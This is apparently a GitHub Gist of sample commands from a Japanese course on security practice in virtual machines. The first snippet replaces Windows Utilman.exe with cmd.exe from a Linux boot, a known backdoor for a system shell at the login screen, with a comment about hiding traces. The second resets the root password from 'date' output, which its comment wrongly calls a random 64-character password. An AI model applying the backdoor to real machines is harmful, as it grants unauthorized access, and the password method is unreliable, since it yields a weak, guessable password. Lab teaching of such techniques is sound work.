Created
March 19, 2019 12:42
-
-
Save sezemiadmin/49941da9dd7fbb1abd9f9f43dde76590 to your computer and use it in GitHub Desktop.
仮想環境で学ぶセキュリティ実践 のサンプル
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
sudo su | |
mount /dev/sda2 /mnt/ #sda2 は c:\Windows ディスク | |
cd /mnt/Windows/System32 #Windowsのディレクトリに移動 | |
mv Utilman.exe Utiltman.exe.org #痕跡を消す | |
cp cmd.exe utilman.exe #cmd.exe を utilman.exe にコピー | |
cd / | |
umount /mnt #ディスクを切り替え | |
poweroff |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
date | |
date | sha256sum # | はパイプ | |
date | cut -b 1-64 #64文字のランダムなパスワードを生成 | |
date | cut -b 1-64 | passwd --stdin root |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment